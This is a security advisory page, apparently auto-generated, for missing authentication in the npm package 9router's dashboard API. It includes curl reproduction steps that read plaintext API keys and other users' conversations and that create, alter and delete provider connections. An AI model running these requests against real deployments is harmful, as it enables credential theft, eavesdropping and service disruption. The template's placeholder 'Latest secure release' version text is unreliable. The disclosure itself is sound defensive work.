GHSA-vjc7-jrh9-9j86: 9router 9router Has Unauthenticated CRUD On Vulnerability

CRITICAL
CVSS 10.0
CWE-306 CWE-862 CWE-200
Published
Advisory Summary

GHSA-vjc7-jrh9-9j86 is a CRITICAL (CVSS 10.0) 9router has unauthenticated crud on vulnerability (CWE-306: Missing Authentication for Critical Function) affecting 9router libraries in the npm ecosystem. The issue involves 9router has unauthenticated crud on /api/providers and full api key leak via /api/usage/stats. Remediation is available in the latest vendor maintenance releases.

GHSA-vjc7-jrh9-9j86 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-vjc7-jrh9-9j86
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product 9router
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-vjc7-jrh9-9j86

To remediate this vulnerability, upgrade all affected 9router dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

9router fixed: Latest secure release
npm install 9router@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls 9router

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-vjc7-jrh9-9j86, inspect your project dependencies using npm:

npm ls 9router

Analyze the terminal output to locate any version of 9router in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls 9router command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In 9router, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

--- title: Unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats product: 9Router version: <= 0.4.41 severity: critical cve_request: true --- ## Summary Multiple critical API security vulnerabilities were discovered in 9Router's Next.js dashboard. The `/api/providers` endpoints lack authentication entirely, allowing anyone to create, read, update, and delete provider connections. Additionally, `/api/usage/stats` exposes full plaintext API keys, and `/api/usage/request-logs` + `/api/usage/request-details` expose all users' request history and full conversation contents (including system prompts, user messages, assistant responses) without authentication. ## Affected Endpoints | Endpoint | Method | Issue | |---|---|---| | `/api/providers` | GET | Lists all provider connections with partial credentials, OAuth tokens, account IDs | | `/api/providers/:id` | GET | Read any single provider detail (IDOR) | | `/api/providers` | POST | Create arbitrary provider connections with attacker-controlled API keys | | `/api/providers/:id` | PUT | Modify any existing provider connection | | `/api/providers/:id` | DELETE | Delete any provider connection | | `/api/usage/stats` | GET | Exposes full plaintext API keys, per-account usage breakdown, cost data | | `/api/usage/request-logs` | GET | Exposes all users' request logs (model, tokens, cost, timestamp, provider) | | `/api/usage/request-details/:id` | GET | Exposes full conversation turns including system prompts, user messages, assistant responses | | `/api/version` | GET | Exposes current version info | | `/api/models` | GET | Exposes full model routing catalog | | `/api/v1/models` | GET | Exposes model list | ## Impact ### Critical: Provider CRUD without authentication An attacker can: 1. **Add a malicious provider** — inject a provider that proxies through their server, capturing all prompts, responses, and API keys routed through 9Router 2. **Modify existing providers** — replace API keys with attacker-controlled ones, redirect traffic 3. **Delete all providers** — cause complete denial of service 4. **Read all provider configurations** — harvest partial credentials, GitHub Copilot OAuth tokens, Cloudflare account IDs, email addresses ### Critical: Full API key leak via /api/usage/stats The endpoint returns complete API key strings (e.g., `sk-...`) in plaintext alongside usage data per key, enabling unauthorized use of connected AI provider accounts. ### Critical: Conversation history leak `/api/usage/request-details` returns the full conversation history of other users' AI sessions, including system prompts, user messages, assistant responses, tool calls, and reasoning traces. ## Steps to Reproduce ### 1. Unauthenticated read of all providers ```bash curl -s https://<host>/api/providers ``` Returns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes. ### 2. Create a provider without authentication ```bash curl -X POST https://<host>/api/providers \ -H "Content-Type: application/json" \ -d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}' ``` Returns the created connection object with a new UUID and `isActive: true`. ### 3. Modify an existing provider without authentication ```bash curl -X PUT https://<host>/api/providers/<existing-uuid> \ -H "Content-Type: application/json" \ -d '{"name":"modified","apiKey":"sk-attacker-key"}' ``` Returns the updated connection object. ### 4. Delete a provider without authentication ```bash curl -X DELETE https://<host>/api/providers/<existing-uuid> ``` Returns `{"message":"Connection deleted successfully"}`. ### 5. Read full usage stats with API keys ```bash curl -s https://<host>/api/usage/stats ``` Returns full API key strings, per-account token/cost breakdown, recent requests. ### 6. Read request logs ```bash curl -s "https://<host>/api/usage/request-logs?page=1&pageSize=50" ``` Returns paginated request logs with timestamps, models, providers, user emails, token counts. ### 7. Read full conversation ```bash curl -s https://<host>/api/usage/request-details/<request-uuid> ``` Returns complete conversation turns for that request. ### 8. Read version info ```bash curl -s https://<host>/api/version ``` Returns `{"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}`. ## Root Cause The Next.js API routes under `src/app/api/*` lack authentication middleware on several endpoints. Specifically: - `/api/providers/*` — No auth check before CRUD operations on provider connections stored in the database - `/api/usage/stats` — No auth check before returning aggregated usage data including full API keys - `/api/usage/request-logs` — No auth check before returning request history - `/api/usage/request-details/:id` — No auth check before returning full conversation contents ## Suggested Fix 1. Add authentication middleware to all `/api/providers/*` routes (GET, POST, PUT, DELETE) 2. Add authentication middleware to all `/api/usage/*` routes 3. Never return full API key strings in any API response — return masked keys only 4. Never return GitHub Copilot tokens or similar OAuth secrets in API responses 5. Implement proper authorization checks so users can only access their own data 6. Add rate limiting to public endpoints ## Resources - https://github.com/decolua/9router

GHSA-vjc7-jrh9-9j86 Affected 9router Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
9router
npm
≤ 0.4.41

References

Frequently Asked Questions

What is GHSA-vjc7-jrh9-9j86?
GHSA-vjc7-jrh9-9j86 is a security vulnerability in 9router involving 9router has unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats under CWE-306: Missing Authentication for Critical Function.
Which 9router versions are affected?
Affected versions include releases prior to current release patches across affected packages: 9router.
What version fixes GHSA-vjc7-jrh9-9j86?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is 9router affected?
Yes, 9router is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-vjc7-jrh9-9j86?
GHSA-vjc7-jrh9-9j86 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with GHSA-vjc7-jrh9-9j86?
GHSA-vjc7-jrh9-9j86 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check npm dependencies for GHSA-vjc7-jrh9-9j86?
Run the dependency tree command: 'npm ls 9router'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vjc7-jrh9-9j86",
  "modified" : "2026-07-06T21:22:10Z",
  "published" : "2026-07-06T21:22:10Z",
  "aliases" : [ ],
  "summary" : "9router has unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats",
  "details" : "---\ntitle: Unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats\nproduct: 9Router\nversion: <= 0.4.41\nseverity: critical\ncve_request: true\n---\n\n## Summary\n\nMultiple critical API security vulnerabilities were discovered in 9Router's Next.js dashboard. The `/api/providers` endpoints lack authentication entirely, allowing anyone to create, read, update, and delete provider connections. Additionally, `/api/usage/stats` exposes full plaintext API keys, and `/api/usage/request-logs` + `/api/usage/request-details` expose all users' request history and full conversation contents (including system prompts, user messages, assistant responses) without authentication.\n\n## Affected Endpoints\n\n| Endpoint | Method | Issue |\n|---|---|---|\n| `/api/providers` | GET | Lists all provider connections with partial credentials, OAuth tokens, account IDs |\n| `/api/providers/:id` | GET | Read any single provider detail (IDOR) |\n| `/api/providers` | POST | Create arbitrary provider connections with attacker-controlled API keys |\n| `/api/providers/:id` | PUT | Modify any existing provider connection |\n| `/api/providers/:id` | DELETE | Delete any provider connection |\n| `/api/usage/stats` | GET | Exposes full plaintext API keys, per-account usage breakdown, cost data |\n| `/api/usage/request-logs` | GET | Exposes all users' request logs (model, tokens, cost, timestamp, provider) |\n| `/api/usage/request-details/:id` | GET | Exposes full conversation turns including system prompts, user messages, assistant responses |\n| `/api/version` | GET | Exposes current version info |\n| `/api/models` | GET | Exposes full model routing catalog |\n| `/api/v1/models` | GET | Exposes model list |\n\n## Impact\n\n### Critical: Provider CRUD without authentication\n\nAn attacker can:\n1. **Add a malicious provider** — inject a provider that proxies through their server, capturing all prompts, responses, and API keys routed through 9Router\n2. **Modify existing providers** — replace API keys with attacker-controlled ones, redirect traffic\n3. **Delete all providers** — cause complete denial of service\n4. **Read all provider configurations** — harvest partial credentials, GitHub Copilot OAuth tokens, Cloudflare account IDs, email addresses\n\n### Critical: Full API key leak via /api/usage/stats\n\nThe endpoint returns complete API key strings (e.g., `sk-...`) in plaintext alongside usage data per key, enabling unauthorized use of connected AI provider accounts.\n\n### Critical: Conversation history leak\n\n`/api/usage/request-details` returns the full conversation history of other users' AI sessions, including system prompts, user messages, assistant responses, tool calls, and reasoning traces.\n\n## Steps to Reproduce\n\n### 1. Unauthenticated read of all providers\n\n```bash\ncurl -s https://<host>/api/providers\n```\n\nReturns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes.\n\n### 2. Create a provider without authentication\n\n```bash\ncurl -X POST https://<host>/api/providers \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"provider\":\"openai\",\"authType\":\"apikey\",\"name\":\"rogue\",\"apiKey\":\"sk-attacker-controlled\"}'\n```\n\nReturns the created connection object with a new UUID and `isActive: true`.\n\n### 3. Modify an existing provider without authentication\n\n```bash\ncurl -X PUT https://<host>/api/providers/<existing-uuid> \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"modified\",\"apiKey\":\"sk-attacker-key\"}'\n```\n\nReturns the updated connection object.\n\n### 4. Delete a provider without authentication\n\n```bash\ncurl -X DELETE https://<host>/api/providers/<existing-uuid>\n```\n\nReturns `{\"message\":\"Connection deleted successfully\"}`.\n\n### 5. Read full usage stats with API keys\n\n```bash\ncurl -s https://<host>/api/usage/stats\n```\n\nReturns full API key strings, per-account token/cost breakdown, recent requests.\n\n### 6. Read request logs\n\n```bash\ncurl -s \"https://<host>/api/usage/request-logs?page=1&pageSize=50\"\n```\n\nReturns paginated request logs with timestamps, models, providers, user emails, token counts.\n\n### 7. Read full conversation\n\n```bash\ncurl -s https://<host>/api/usage/request-details/<request-uuid>\n```\n\nReturns complete conversation turns for that request.\n\n### 8. Read version info\n\n```bash\ncurl -s https://<host>/api/version\n```\n\nReturns `{\"currentVersion\":\"0.4.19\",\"latestVersion\":\"0.4.45\",\"hasUpdate\":true}`.\n\n## Root Cause\n\nThe Next.js API routes under `src/app/api/*` lack authentication middleware on several endpoints. Specifically:\n\n- `/api/providers/*` — No auth check before CRUD operations on provider connections stored in the database\n- `/api/usage/stats` — No auth check before returning aggregated usage data including full API keys\n- `/api/usage/request-logs` — No auth check before returning request history\n- `/api/usage/request-details/:id` — No auth check before returning full conversation contents\n\n## Suggested Fix\n\n1. Add authentication middleware to all `/api/providers/*` routes (GET, POST, PUT, DELETE)\n2. Add authentication middleware to all `/api/usage/*` routes\n3. Never return full API key strings in any API response — return masked keys only\n4. Never return GitHub Copilot tokens or similar OAuth secrets in API responses\n5. Implement proper authorization checks so users can only access their own data\n6. Add rate limiting to public endpoints\n\n## Resources\n\n- https://github.com/decolua/9router",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "9router"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.4.41"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/security/advisories/GHSA-vjc7-jrh9-9j86"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/decolua/9router"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-306", "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-06T21:22:10Z",
    "nvd_published_at" : null
  }
}